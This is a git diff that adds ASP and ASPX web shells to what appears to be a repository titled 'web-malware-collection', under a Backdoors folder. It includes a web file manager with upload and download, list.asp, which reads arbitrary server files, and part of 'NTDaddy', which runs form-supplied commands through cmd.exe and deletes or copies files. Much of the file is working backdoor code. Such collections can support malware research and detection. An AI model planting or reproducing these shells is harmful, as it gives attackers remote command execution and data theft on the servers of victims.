        " & Server.Htmlencode(FindLink(addslash(targetPath) & item.Name)) & """" +elseif Len(item.Name)>gMax then +Response.Write " title=""" & item.Name & """" +end if + +Response.Write ">" & FormatName(item.Name) & "" & FormatSize(item.Size) & "" & item.Type & "" & FormatDate(item.DateLastModified ) & "" & GetAttributes(item.Attributes) & "" + +if re.Test(editExt) then +Response.Write "" +end if + +if Lcase(ext)="zip" then +Response.Write "" +end if + +Response.Write "
        +<% +if count>1 then +%> +

        + + + +
        Copy selected item(s) to" size=50 onkeydown=" if (event.keyCode==13) theForm.cp_bt.click();">
        Move selected item(s) to" size=50 onkeydown=" if (event.keyCode==13) theForm.mv_bt.click();">
        +<% +end if +%> + + +<% +end if +set objFolder=nothing +%> +

        Upload file(s) to "<%=targetPath%>" +

        + +Max:
        + + + + +
        +
        + +
        + +<% +end if +%> +
        + + + +
        + +<% +HtmlJsCommand() +end sub + +'########################################################################################### + +sub Upload() +dim objUpload,f,max,i,name,path,size,success + +HtmlHeader("") +HtmlMode() + +set objUpload=New clsUpload + +targetPath=objUpload.Fields("folder").Value +max=objUpload.Fields("max").Value + +gMsg= "Upload..." & vbNewLine + +for i=1 to max +name=objUpload.Fields("file" & i).FileName +size=objUpload.Fields("file" & i).Length +if (name<>"") and (size>0) then +gMsg=gMsg & "
        " & vbNewLine & "- " & name & " (" & FormatNumber(size,0) & " bytes): " +path=addslash(targetPath) & name +objUpload.Fields("file" & i).SaveAs path +if FSO.FileExists(path) then +on error resume next +set f=FSO.GetFile(path) +if IsObject(f) then +if f.Size=size then success=true else success=false +end if +set f=nothing +end if +if success then gMsg=gMsg & "success" else gMsg = gMsg & "fail" +end if +next + +set objUpload=nothing + +List() +HtmlFooter() +Destroy() +end sub + +'########################################################################################### + +sub Download() +dim oStream +dim szFileName +szFileName=addslash(Request.Form("folder")) & Request.form("Param") +if FSO.FileExists(szFileName) then +set oStream=Server.CreateObject("ADODB.Stream") +oStream.Type=1 +oStream.Open +on error resume next +oStream.LoadFromFile(szFileName) +if Err.Number=0 then +Response.AddHeader "Content-Disposition", "attachment; filename=" & FSO.GetFileName(szFileName) +Response.AddHeader "Content-Length", oStream.Size +Response.ContentType="bad/type" 'yeu cau ie hien hop thoai save-as +Response.BinaryWrite oStream.Read +end if +oStream.Close +set oStream=nothing +end if +Destroy() +end sub + +'########################################################################################### + +sub Logout() +Session.Abandon +Response.Redirect gURL +Destroy() +end sub + +sub Init() +Session("switch")=false +set FSO=Server.CreateObject("Scripting.FileSystemObject") +set re=new regexp +end sub + +sub Destroy() +set FSO=nothing +set re=nothing +Response.End +end sub + +'########################################################################################### + +sub Secure() +if (Session("allow")=1) then exit sub +if (gPassword="") then +Session("allow")=1 +Session("mode")=0 +exit sub +end if +if (Request.Form("command")="Login") then +if Request.Form("password")=gPassword then +Session("allow")=1 +Session("mode")=CInt(Request.Form("mode")) +exit sub +end if +end if + +HtmlHeader("") +%> +
        + + + + + + + + + + + + +
        Mode: + +
        Password:
        +
        + +<% +HtmlFooter() +Destroy() +end sub + +'########################################################################################### + +sub HtmlJsForm() +%> + +<% +end sub + +'########################################################################################### + +sub HtmlJsCommand() +%> + +<% +end sub + +sub HtmlJsEditor() +%> + +<% +end sub + +sub HtmlQuick() +%> +
        + + +
        +
        + +Address: +
        +<% +end sub + +sub HtmlMode() +%> + + + +<% +if gPassword<>"" then +%> + +<% +end if +%> + +
        +
        + + +
        +
        +
        + +
        +
        +<% +end sub + +'########################################################################################### + +sub HtmlHeader(strTitle) +%> + + + +<%=strTitle%> + + + +<% +end sub + +'########################################################################################### + +sub HtmlFooter() +%> + + +<% +end sub + +'########################################################################################### + +function abspath(path) +if left(path,1)=":" then abspath=Server.MapPath(mid(path,2)) else abspath=FSO.GetAbsolutePathName(path) +end function + +'########################################################################################### + +function addslash(path) +if right(path,1)="\" then addslash=path else addslash=path & "\" +end function + +'########################################################################################### + +function findroot(path) +dim f + +set f=FSO.GetFolder(path) + +if f.IsRootFolder then +else +do until f.IsRootFolder +set f=f.ParentFolder +loop +end if +findroot=f.Path +set f=nothing +end function + +'########################################################################################### + +function isroot(path) +dim f +set f=FSO.GetFolder(path) +isroot=f.IsRootFolder +set f=nothing +end function + +'########################################################################################### + +Function FindLink(szFileName) +Dim WshShell, oLink + +Set WshShell=Server.CreateObject("WScript.Shell") +Set oLink=WshShell.CreateShortcut(szFileName) + +FindLink=oLink.TargetPath + +Set oLink=Nothing +Set WshShell=Nothing +End Function + +'########################################################################################### + +Function FormatSize(intSize) +If (intSize < 1024) Then +FormatSize = intSize & " B" +ElseIf (intSize < 1024*1024) Then +FormatSize = FormatNumber(intSize/1024,2) & " KB" +ElseIf (intSize < 1024*1024*1024) Then +FormatSize = FormatNumber(intSize/(1024*1024),2) & " MB" +Else +FormatSize = FormatNumber(intSize/(1024*1024*1024),2) & " GB" +End If +End Function + +'########################################################################################### + +Function FormatName(szName) +FormatName = szName +If gMax > 5 And Len(szName) > gMax Then FormatName = Left(szName,gMax-2) & "..." +End Function + +'########################################################################################### + +function FormatDate(strDate) +dim int12HourPart,strAMPM +int12HourPart=DatePart("h",strDate) mod 12 +if int12HourPart=0 then int12HourPart=12 +if DatePart("h",strDate)>=12 then strAMPM="PM" else strAMPM="AM" +FormatDate=Right("0"&DatePart("d",strDate),2) & "/" & Right("0"&DatePart("m",strDate),2) & "/" & DatePart("yyyy",strDate) & " " & Right("0"&int12HourPart,2) & ":" & Right("0"&DatePart("n",strDate),2) & ":" & Right("0"&DatePart("s",strDate),2) & " " & strAMPM +end function + +'########################################################################################### + +Function GetAttributes(intAttr) +Dim strAttributes +strAttributes="" +If (intAttr And 1) > 0 Then strAttributes = "R" +If (intAttr And 2) > 0 Then strAttributes=strAttributes & "H" +If (intAttr And 4) > 0 Then strAttributes=strAttributes & "S" +If (intAttr And 32) > 0 Then strAttributes=strAttributes & "A" +If (intAttr And 2048) > 0 Then strAttributes=strAttributes & "C" +if strAttributes="" then strAttributes=" " +GetAttributes=strAttributes +End Function + +'########################################################################################### + +Class clsField +Public Name +Private mstrPath +Public FileDir +Public FileExt +Public FileName +Public ContentType +Public Value +Public BinaryData +Public Length +Private mstrText + +Public Property Get BLOB() +BLOB = BinaryData +End Property + +Public Function BinaryAsText() +Dim lbinBytes +Dim lobjRs +If Length = 0 Then Exit Function +If LenB(BinaryData) = 0 Then Exit Function + +If Not Len(mstrText) = 0 Then +BinaryAsText = mstrText +Exit Function +End If +lbinBytes = ASCII2Bytes(BinaryData) +mstrText = Bytes2Unicode(lbinBytes) +BinaryAsText = mstrText +End Function + +Public Sub SaveAs(ByRef pstrFileName) +Const adTypeBinary=1 +Const adSaveCreateOverWrite=2 +Dim lobjStream +Dim lobjRs +Dim lbinBytes +If Length = 0 Then Exit Sub +If LenB(BinaryData) = 0 Then Exit Sub +Set lobjStream = Server.CreateObject("ADODB.Stream") +lobjStream.Type = adTypeBinary +Call lobjStream.Open() +lbinBytes = ASCII2Bytes(BinaryData) +Call lobjStream.Write(lbinBytes) +On Error Resume Next +Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite) +Call lobjStream.Close() +Set lobjStream = Nothing +End Sub + +Public Property Let FilePath(ByRef pstrPath) +mstrPath = pstrPath +If Not InStrRev(pstrPath, ".") = 0 Then +FileExt = Mid(pstrPath, InStrRev(pstrPath, ".") + 1) +FileExt = UCase(FileExt) +End If +If Not InStrRev(pstrPath, "\") = 0 Then +FileName = Mid(pstrPath, InStrRev(pstrPath, "\") + 1) +End If +If Not InStrRev(pstrPath, "\") = 0 Then +FileDir = Mid(pstrPath, 1, InStrRev(pstrPath, "\") - 1) +End If +End Property + +Public Property Get FilePath() +FilePath = mstrPath +End Property + +Private Function ASCII2Bytes(ByRef pbinBinaryData) +Const adLongVarBinary=205 +Dim lobjRs +Dim llngLength +Dim lbinBuffer +llngLength = LenB(pbinBinaryData) +Set lobjRs = Server.CreateObject("ADODB.Recordset") +Call lobjRs.Fields.Append("BinaryData", adLongVarBinary, llngLength) +Call lobjRs.Open() +Call lobjRs.AddNew() +Call lobjRs.Fields("BinaryData").AppendChunk(pbinBinaryData & ChrB(0)) +Call lobjRs.Update() +lbinBuffer = lobjRs.Fields("BinaryData").GetChunk(llngLength) +Call lobjRs.Close() +Set lobjRs = Nothing +ASCII2Bytes = lbinBuffer +End Function + +Private Function Bytes2Unicode(ByRef pbinBytes) +Dim lobjRs +Dim llngLength +Dim lstrBuffer +llngLength = LenB(pbinBytes) +Set lobjRs = Server.CreateObject("ADODB.Recordset") +Call lobjRs.Fields.Append("BinaryData", adLongVarChar, llngLength) +Call lobjRs.Open() +Call lobjRs.AddNew() +Call lobjRs.Fields("BinaryData").AppendChunk(pbinBytes) +Call lobjRs.Update() +lstrBuffer = lobjRs.Fields("BinaryData").Value +Call lobjRs.Close() +Set lobjRs = Nothing +Bytes2Unicode = lstrBuffer +End Function +End Class + +'########################################################################################### + +Class clsUpload +Private mbinData +Private mlngChunkIndex +Private mlngBytesReceived +Private mstrDelimiter +Private CR +Private LF +Private CRLF +Private mobjFieldAry() +Private mlngCount + +Private Sub RequestData +Dim llngLength +mlngBytesReceived = Request.TotalBytes +mbinData = Request.BinaryRead(mlngBytesReceived) +End Sub + +Private Sub ParseDelimiter() +mstrDelimiter = MidB(mbinData, 1, InStrB(1, mbinData, CRLF) - 1) +End Sub + +Private Sub ParseData() +Dim llngStart +Dim llngLength +Dim llngEnd +Dim lbinChunk +llngStart = 1 +llngStart = InStrB(llngStart, mbinData, mstrDelimiter & CRLF) +While Not llngStart = 0 +llngEnd = InStrB(llngStart + 1, mbinData, mstrDelimiter) - 2 +llngLength = llngEnd - llngStart +lbinChunk = MidB(mbinData, llngStart, llngLength) +Call ParseChunk(lbinChunk) +llngStart = InStrB(llngStart + 1, mbinData, mstrDelimiter & CRLF) +Wend +End Sub + +Private Sub ParseChunk(ByRef pbinChunk) +Dim lstrName +Dim lstrFileName +Dim lstrContentType +Dim lbinData +Dim lstrDisposition +Dim lstrValue +lstrDisposition = ParseDisposition(pbinChunk) +lstrName = ParseName(lstrDisposition) +lstrFileName = ParseFileName(lstrDisposition) +lstrContentType = ParseContentType(pbinChunk) +If lstrContentType = "" Then +lstrValue = CStrU(ParseBinaryData(pbinChunk)) +Else +lbinData = ParseBinaryData(pbinChunk) +End If +Call AddField(lstrName, lstrFileName, lstrContentType, lstrValue, lbinData) +End Sub + +Private Sub AddField(ByRef pstrName, ByRef pstrFileName, ByRef pstrContentType, ByRef pstrValue, ByRef pbinData) +Dim lobjField +ReDim Preserve mobjFieldAry(mlngCount) +Set lobjField = New clsField +lobjField.Name = pstrName +lobjField.FilePath = pstrFileName +lobjField.ContentType = pstrContentType +If LenB(pbinData) = 0 Then +lobjField.BinaryData = ChrB(0) +lobjField.Value = pstrValue +lobjField.Length = Len(pstrValue) +Else +lobjField.BinaryData = pbinData +lobjField.Length = LenB(pbinData) +lobjField.Value = "" +End If +Set mobjFieldAry(mlngCount) = lobjField +mlngCount = mlngCount + 1 +End Sub + +Private Function ParseBinaryData(ByRef pbinChunk) +Dim llngStart +llngStart = InStrB(1, pbinChunk, CRLF & CRLF) +If llngStart = 0 Then Exit Function +llngStart = llngStart + 4 +ParseBinaryData = MidB(pbinChunk, llngStart) +End Function + +Private Function ParseContentType(ByRef pbinChunk) +Dim llngStart +Dim llngEnd +Dim llngLength +llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Type:"), vbTextCompare) +If llngStart = 0 Then Exit Function +llngEnd = InStrB(llngStart + 15, pbinChunk, CR) +If llngEnd = 0 Then Exit Function +llngStart = llngStart + 15 +If llngStart >= llngEnd Then Exit Function +llngLength = llngEnd - llngStart +ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength))) +End Function + +Private Function ParseDisposition(ByRef pbinChunk) +Dim llngStart +Dim llngEnd +Dim llngLength +llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare) +If llngStart = 0 Then Exit Function +llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF) +If llngEnd = 0 Then Exit Function +llngStart = llngStart + 22 +If llngStart >= llngEnd Then Exit Function +llngLength = llngEnd - llngStart +ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength)) +End Function + +Private Function ParseName(ByRef pstrDisposition) +Dim llngStart +Dim llngEnd +Dim llngLength +llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare) +If llngStart = 0 Then Exit Function +llngEnd = InStr(llngStart + 6, pstrDisposition, """") +If llngEnd = 0 Then Exit Function +llngStart = llngStart + 6 +If llngStart >= llngEnd Then Exit Function +llngLength = llngEnd - llngStart +ParseName = Mid(pstrDisposition, llngStart, llngLength) +End Function +' ------------------------------------------------------------------------------ +Private Function ParseFileName(ByRef pstrDisposition) +Dim llngStart +Dim llngEnd +Dim llngLength +llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare) +If llngStart = 0 Then Exit Function +llngEnd = InStr(llngStart + 10, pstrDisposition, """") +If llngEnd = 0 Then Exit Function +llngStart = llngStart + 10 +If llngStart >= llngEnd Then Exit Function +llngLength = llngEnd - llngStart +ParseFileName = Mid(pstrDisposition, llngStart, llngLength) +End Function + +Public Property Get Count() +Count = mlngCount +End Property + +Public Default Property Get Fields(ByVal pstrName) +Dim llngIndex +If IsNumeric(pstrName) Then +llngIndex = CLng(pstrName) +If llngIndex > mlngCount - 1 Or llngIndex < 0 Then +Call Err.Raise(vbObjectError + 1, "clsUpload.asp", "Object does not exist within the ordinal reference.") +Exit Property +End If +Set Fields = mobjFieldAry(pstrName) +Else +pstrName = LCase(pstrname) +For llngIndex = 0 To mlngCount - 1 +If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then +Set Fields = mobjFieldAry(llngIndex) +Exit Property +End If +Next +End If +Set Fields = New clsField +End Property + +Private Sub Class_Terminate() +Dim llngIndex +For llngIndex = 0 To mlngCount - 1 +Set mobjFieldAry(llngIndex) = Nothing + +Next +ReDim mobjFieldAry(-1) +End Sub + +Private Sub Class_Initialize() +ReDim mobjFieldAry(-1) +CR = ChrB(Asc(vbCr)) +LF = ChrB(Asc(vbLf)) +CRLF = CR & LF +mlngCount = 0 +Call RequestData +Call ParseDelimiter() +Call ParseData +End Sub + +Private Function CStrU(ByRef pstrANSI) +Dim llngLength +Dim llngIndex +llngLength = LenB(pstrANSI) +For llngIndex = 1 To llngLength +CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1))) +Next +End Function + +Private Function CStrB(ByRef pstrUnicode) +Dim llngLength +Dim llngIndex +llngLength = Len(pstrUnicode) +For llngIndex = 1 To llngLength +CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1))) +Next +End Function +End Class + +'########################################################################################### + +Class clsZip +Private mbin_Zip +Private mobj_Files() +Private mlng_Files + +Sub ZipLoad(pstrFileName) +Dim lobjFSO +Dim llngTristateFalse +Dim llngForReading +dim objStream + +mbin_Zip = "" + +If pstrFileName = "" Then Exit Sub + +If InStr(1, pstrFileName, ":\") = 0 Then +pstrFileName = Server.MapPath(pstrFileName) +End If + +Set lobjFSO = Server.CreateObject("Scripting.FileSystemObject") + +If lobjFSO.FileExists(pstrFileName) Then +set objStream=Server.CreateObject("ADODB.Stream") +objStream.Type=1 +objStream.Open +on error resume next +objStream.LoadFromFile(pstrFileName) +mbin_Zip = objStream.Read +set objStream=nothing +End If + +Set lobjFSO = Nothing + +Call ParseZips() + +End Sub + +Public Property Let ZipData(ByRef pbinBinaryData) +mbin_Zip = pbinBinaryData +Call ParseZips() +End Property +Public Property Get FileCount() +FileCount = mlng_Files +End Property +Public Property Get GetFile(ByRef plngIndex) +Set GetFile = mobj_Files(plngIndex-1) +End Property + +Private Sub ParseZips() +Dim llngOffSet +mlng_Files = 0 +llngOffSet = 0 +If LenB(mbin_Zip) = 0 Then Exit Sub +Do +' Find next PK 3.04 record +llngOffset = InStrB(llngOffset + 1, mbin_zip, ChrB(&h50) & ChrB(&h4B) & ChrB(&h03) & ChrB(&h04)) +If llngOffset = 0 Then Exit Do +llngOffset = llngOffset - 1 +ReDim Preserve mobj_Files(mlng_Files) +Set mobj_Files(mlng_Files) = New clsZipFile +With mobj_Files(mlng_Files) +.Signature = GetString(llngOffset + 1, 2) & " " & CInt(GetHex(llngOffset + 3, 1)) & "." & GetHex(llngOffset + 4, 1) +.ExtractVersion = FormatNumber(GetNumber(llngOffset + 5, 2) * .1, 1, True) +.GeneralPurposeFlags = GetNumber(llngOffset + 7, 2) +.CompressionMethod = GetNumber(llngOffset + 9, 2) +.LastModifiedTime = GetNumber(llngOffset + 11, 2) +.LastModifiedDate = GetNumber(llngOffset + 13, 2) +.CRC32 = GetNumber(llngOffset + 15, 4) +.CompressedSize = GetNumber(llngOffset + 19, 4) +.UncompressedSize = GetNumber(llngOffset + 23, 4) +.FileNameLength = GetNumber(llngOffset + 27, 2) +.ExtraFieldLength = GetNumber(llngOffset + 29, 2) +.FileName = GetString(llngOffset + 31, .FileNameLength) +.ExtraField = GetString(llngOffset + 31 + .FileNameLength, .ExtraFieldLength) +.StartByte = llngOffSet + 1 +.EndByte = llngOffSET + .FileNameLength + .ExtraFieldLength + .CompressedSize + 30 +' .BinaryData = MidB(pbin_Zip, llngOffSET + .FileNameLength + .ExtraFieldLength + 30, .CompressedSize) +' .LocalFileHeader = GetString(llngOffset + 1, .FileNameLength + .ExtraFieldLength + 30) +llngOffSet = .EndByte +.IsOverall = (.Name = "" And .Path = "") +.IsFolder = (.Name = "" And Not .Path = "") +End With +mlng_Files = mlng_Files + 1 +Loop While mobj_Files(mlng_Files - 1).EndByte < LenB(mbin_zip) +End Sub + +Private Function GetHex(plngStart, plngLength) +Dim llngIndex +Dim lstrHex +For llngIndex = 0 To plngLength - 1 +lstrHex = lstrHex & Right("0" & Hex(AscB(MidB(mbin_zip, plngStart + llngIndex, 1))), 2) +Next +GetHex = lstrHex +End Function + +Private Function GetString(plngStart, plngLength) +Dim llngIndex +Dim lstrString +If LenB(mbin_zip) < (plngStart + (plngLength - 1)) Then Exit Function +For llngIndex = 0 To plngLength - 1 +If AscB(MidB(mbin_zip, plngStart + llngIndex, 1)) = 0 Then +lstrString = lstrString & " " +Else +lstrString = lstrString & Chr(AscB(MidB(mbin_zip, plngStart + llngIndex, 1))) +End If +Next +GetString = lstrString +End Function + +Private Function GetNumber(plngStart, plngLength) +If plngStart < 0 Then Exit Function +Dim llngIndex +Dim lstrHex +For llngIndex = 0 To plngLength - 1 +lstrHex = Right("0" & Hex(AscB(MidB(mbin_zip, plngStart + llngIndex, 1))), 2) & lstrHex +Next +GetNumber = CDbl("&h" & lstrHex) +End Function + +Function GetDate(plngStart) +Dim llngDate +llngDate = GetNumber(plngStart, 2) +GetDate = DateSerial(1980 + (llngDate And &HFE00) \ &H200, (llngDate And &H1E0) \ &H20, llngDate And &H1F) +End Function + +Function GetTime(plngStart) +Dim llngDate +llngDate = GetNumber(plngStart, 2) +GetTime = TimeSerial((llngDate And &HF800) \ &H800, (llngDate And &H7E0) \ &H20, (llngDate And &H1F) * 2) +End Function +End Class + +Class clsZipFile +Public Signature +Public ExtractVersion +Public GeneralPurposeFlags +Public CompressionMethod +Public LastModifiedTime +Public LastModifiedDate +Public CRC32 +Public CompressedSize +Public UncompressedSize +Public FileNameLength +Public ExtraFieldLength +Public FileName +Public ExtraField +Public StartByte +Public EndByte +Public BinaryData +Public LocalFileHeader + +Public IsFolder +Public IsOverall + +Public Property Get Name +Dim lstrPath +lstrPath = Replace(FileName, "/", "\") +If InStr(1, lstrPath, "\") = "0" Then +Name = lstrPath +Exit Property +End If +Name = Mid(lstrPath, InStrRev(lstrPath, "\") + 1) +End Property + +Public Property Get Path +Dim lstrPath +lstrPath = Replace(FileName, "/", "\") +If InStr(1, lstrPath, "\") = "0" Then +Path = "" +Exit Property +End If +Path = Mid(lstrPath, 1, InStrRev(lstrPath, "\")) +End Property + +Public Property Get Packed +Packed = CompressedSize +End Property + +Public Property Get Ratio +If UncompressedSize = 0 Then Exit Property +If CompressedSize >= UncompressedSize Then +Ratio = "0%" +Else +Ratio = FormatNumber(((1 - (CompressedSize / UncompressedSize)) * 100), 0, True, False, True) & "%" +End If +End Property + +Public Property Get Modified() +Modified = CDate(GetDate(LastModifiedDate) & " " & GetTime(LastModifiedTime)) +End Property + +Private Function GetDate(plngDate) +GetDate = DateSerial(1980 + (plngDate And &HFE00) \ &H200, _ +(plngDate And &H1E0) \ &H20, plngDate And &H1F) +End Function + +Private Function GetTime(plngDate) +GetTime = TimeSerial((plngDate And &HF800) \ &H800, _ +(plngDate And &H7E0) \ &H20, _ +(plngDate And &H1F) * 2) +End Function + +Public Property Get Size() +Size = UncompressedSize +End Property + +Public Property Get BitMask() +Dim llngNumber +Dim lstrBits +llngNumber = GeneralPurposeFlags +Do +If llngNumber Mod 2 = 1 Then lstrBits = "1" & lstrBits Else lstrBits = "0" & lstrBits +llngNumber = llngNumber \ 2 +Loop Until llngNumber = 0 +lstrBits = Right("0000000000000000" & lstrBits, 16) +For llngNumber = 0 To 3 +lstrReturn = lstrReturn & Mid(lstrBits, (llngNumber * 4) + 1, 4) & "." +Next +BitMask = Left(lstrReturn, 19) +End Property + +Property Get CompressionMethodString() +Select Case CompressionMethod +Case 0 CompressionMethodString = "The file is stored (no compression)" +Case 1 CompressionMethodString = "The file is Shrunk" +Case 2 CompressionMethodString = "The file is Reduced with compression factor 1" +Case 3 CompressionMethodString = "The file is Reduced with compression factor 2" +Case 4 CompressionMethodString = "The file is Reduced with compression factor 3" +Case 5 CompressionMethodString = "The file is Reduced with compression factor 4" +Case 6 CompressionMethodString = "The file is Imploded" +Case 7 CompressionMethodString = "Reserved for Tokenizing compression algorithm" +Case 8 CompressionMethodString = "The file is Deflated" +Case 9 CompressionMethodString = "Reserved for enhanced Deflating" +Case 10 CompressionMethodString = "PKWARE Date Compression Library Imploding" +Case Else CompressionMethodString = "Unhandled Copression type: " & CompressionMethod +End Select +End Property +End Class +%> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/ASP/filesystembrowser.aspx b/web-malware-collection-master/Backdoors/ASP/filesystembrowser.aspx new file mode 100755 index 0000000..57d8f1e --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/filesystembrowser.aspx @@ -0,0 +1,189 @@ +<%@ Page Language="C#" %> +<%@ Import namespace="System.Diagnostics"%> +<%@ Import Namespace="System.IO" %> +<%@ Import Namespace="System.Text" %> + + + + + + diff --git a/web-malware-collection-master/Backdoors/ASP/fileupload.aspx b/web-malware-collection-master/Backdoors/ASP/fileupload.aspx new file mode 100755 index 0000000..6583c1f --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/fileupload.aspx @@ -0,0 +1,98 @@ +<%@ Page Language="C#" %> +<%@ Import Namespace="System.IO" %> + + + + + + diff --git a/web-malware-collection-master/Backdoors/ASP/list.asp b/web-malware-collection-master/Backdoors/ASP/list.asp new file mode 100755 index 0000000..33d6a76 --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/list.asp @@ -0,0 +1,79 @@ + + + + + +<% + +file=request("file") +tipo=request("type") + +If file="" then + file="c:\" + tipo="1" +End If + +%> + + +
        + + + +
        + + +<% + +If tipo="1" then + Response.Write("

        PATH: " & file & "

        ") + ListFolder(file) +End If + +If tipo="2" then + Response.Write("

        FILE: " & file & "

        ") + + Set oStr = server.CreateObject("Scripting.FileSystemObject") + Set oFich = oStr.OpenTextFile(file, 1) + + Response.Write("
        --
        ") + + Response.Write(oFich.ReadAll) + + Response.Write("
        --
        ") + +End If +%> + +<% + +sub ListFolder(path) + + set fs = CreateObject("Scripting.FileSystemObject") + set folder = fs.GetFolder(path) + + Response.Write("
        ( ) " & ".." & "" & vbCrLf) + + for each item in folder.SubFolders + Response.Write("
        ( ) " & item.Name & "" & vbCrLf) + next + + for each item in folder.Files + Response.Write("
      • " & item.Name & " - " & item.Size & " bytes, " & "
      • " & vbCrLf) + next + +end sub + +%> + + + diff --git a/web-malware-collection-master/Backdoors/ASP/ntdaddy.asp b/web-malware-collection-master/Backdoors/ASP/ntdaddy.asp new file mode 100755 index 0000000..c9ce94e --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/ntdaddy.asp @@ -0,0 +1,1013 @@ + +<%@ Language=VBScript %> +<%Dim oScript +Dim oScriptNet +Dim oFileSys, oFile +Dim szCMD, szTempFile +On Error Resume Next +Set oScript = Server.CreateObject("WSCRIPT.SHELL") +Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") +Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") +szCMD = Request.Form(".CMD") +If (szCMD <> "") Then +szTempFile = "C:\" & oFileSys.GetTempName( ) +Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) +Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) +End If%> +<% if request.form("flag")=""then %> + + +|[NTDaddy v1.9 - obzerve | fux0r inc.] +<% +'Commands +dim fs,f +dim FilePath,FolderPath,FileTo,Cmd +dim selFolder,FolderTo +dim Tempmsg +dim TempAtt +dim TextOutput,TextWrite,TextFile,lblioMode,lblFormat,TextCreateFormat +Const ForReading = 1, ForWriting = 2, ForAppending = 3 +Set fs = CreateObject("Scripting.FileSystemObject") +FilePath=Request.Form("FileName") +FolderPath=Request.Form("FolderPath") +selFolder=Request.Form("FolderName") +FolderTo=Request.form("CopyFolderTo") +FileTo=Request.Form("CopyFileTo") +Cmd=Request.Form("cmdOption") +TextCmd=Request.form("cmdtxtFileOption") +Select case Cmd +case "DeleteFile" +fs.deletefile FilePath,TRUE +response.write("File: " & FilePath & " has been deleted.") +case "DeleteFolder" +fs.deletefolder selFolder,TRUE +response.write("Folder: " & selFolder & " has been deleted.") +FolderPath=Request.form("RefreshFolderPath") +case "CopyFile" +fs.CopyFile FilePath,FileTo, TRUE +response.write("File: " & FilePath & " has been copied to " & FileTo & ".") +case "CopyFolder" +fs.CopyFolder selFolder,FolderTo, TRUE +response.write("Folder: " & selFolder & " has been copied to " & FolderTo & ".") +case "SetFileAttributes" +on error resume next +if FilePath <> "" then +Set f = fs.GetFile(FilePath) +select case f.attributes +case 0 +FileAttributes = "Normal" +case 1 +FileAttributes = "Read Only" +case 2 +FileAttributes = "Hidden" +case 3 'Extra +FileAttributes = "Read Only, Hidden" +case 4 +FileAttributes = "System" +case 7 'Extra +FileAttributes = "Read Only, Hidden, System" +case 8 +FileAttributes = "Volume" +case 16 +FileAttributes = "Directory" +case 19 +FileAttributes = "Read Only, Hidden, Directoy" +case 23 +FileAttributes = "Read Only, Hidden, System, Directory" +case 32 +FileAttributes = "Archive" +case 33 'Extra +FileAttributes = "Read Only, Archive" +case 34 'Extra +FileAttributes = "Hidden, Archive" +case 38 'Extra +FileAttributes = "Hidden, Archive, System" +case 39 'Extra +FileAttributes = "Read Only, Hidden, Archive, System" +case 48 +FileAttributes = "Directory, Archive" +case 64 +FileAttributes = "Alias" +case 128 +FileAttributes = "Compressed" +case else +FileAttributes = f.attributes +end select +end if +response.write("
        ") +response.write("") +response.write("") +response.write("
        ") +response.write("") +response.write("") +response.write("") +response.write("") +if f.DateCreated = "" then +response.write("") +else +response.write("
        Accessed: " & f.DateLastModified & "") +end if +response.write("") +response.write("
        File Name: " & f.name & "
        Set New Attributes:
        ") +response.write("Normal") +response.write("
        Read Only") +response.write("
        Hidden") +response.write("
        System") +response.write("
        Volume") +response.write("
        Directory") +response.write("
        Archive") +response.write("
        Alias") +response.write("
        Compressed") +response.write("
        ") +response.write("
        Type of File: " & f.type & "
        Location: " & f.path) +response.write("
        Size: " & FormatNumber(f.size/1024, 2) & "KB (" & f.size & " bytes)
        Created: ----") +else +response.write("
        Created: " & f.DateCreated) +end if +if f.DateLastAccessed = "" then +response.write("
        Modified: ----") +else +response.write("
        Modified: " & f.DateLastAccessed) +end if +if f.DateLastModified = "" then +response.write("
        Accessed: ----
        Attributes: " & FileAttributes & "
        ") +case "SetFolderAttributes" +on error resume next +FolderPath=Request.form("RefreshFolderPath") +if selFolder <> "" then +Set f = fs.Getfolder(selFolder) +select case f.attributes +case 0 +FolderAttributes = "Normal" +case 1 +FolderAttributes = "Read Only" +case 2 +FolderAttributes = "Hidden" +case 3 'Extra +FolderAttributes = "Read Only, Hidden" +case 4 +FolderAttributes = "System" +case 7 'Extra +FolderAttributes = "Read Only, Hidden, System" +case 8 +FolderAttributes = "Volume" +case 16 +FolderAttributes = "Directory" +case 17 'Extra +FolderAttributes = "Read Only, Directory" +case 18 'Extra +FolderAttributes = "Hidden, Directory" +case 19 +FolderAttributes = "Read Only, Hidden, Directoy" +case 20 'Extra +FolderAttributes = "System, Directory" +case 22 'Extra +FolderAttributes = "Hidden, System. Directory" +case 23 +FolderAttributes = "Read Only, Hidden, System, Directory" +case 32 +FolderAttributes = "Archive" +case 33 'Extra +FolderAttributes = "Read Only, Archive" +case 34 'Extra +FolderAttributes = "Hidden, Archive" +case 38 'Extra +FolderAttributes = "Hidden, Archive, System" +case 39 'Extra +FolderAttributes = "Read Only, Hidden, Archive, System" +case 48 +FolderAttributes = "Directory, Archive" +case 64 +FolderAttributes = "Alias" +case 128 +FolderAttributes = "Compressed" +case else +FolderAttributes = f1.attributes +end select +end if +response.write("
        ") +response.write("") +response.write("") +response.write("
        ") +response.write("") +response.write("") +response.write("") +response.write("") +if f.DateCreated = "" then +response.write("") +else +response.write("
        Accessed: " & f.DateLastModified & "") +end if +response.write("") +response.write("
        Folder Name: " & f.name & "
        Set New Attributes:
        ") +response.write("Normal") +response.write("
        Read Only") +response.write("
        Hidden") +response.write("
        System") +response.write("
        Volume") +response.write("
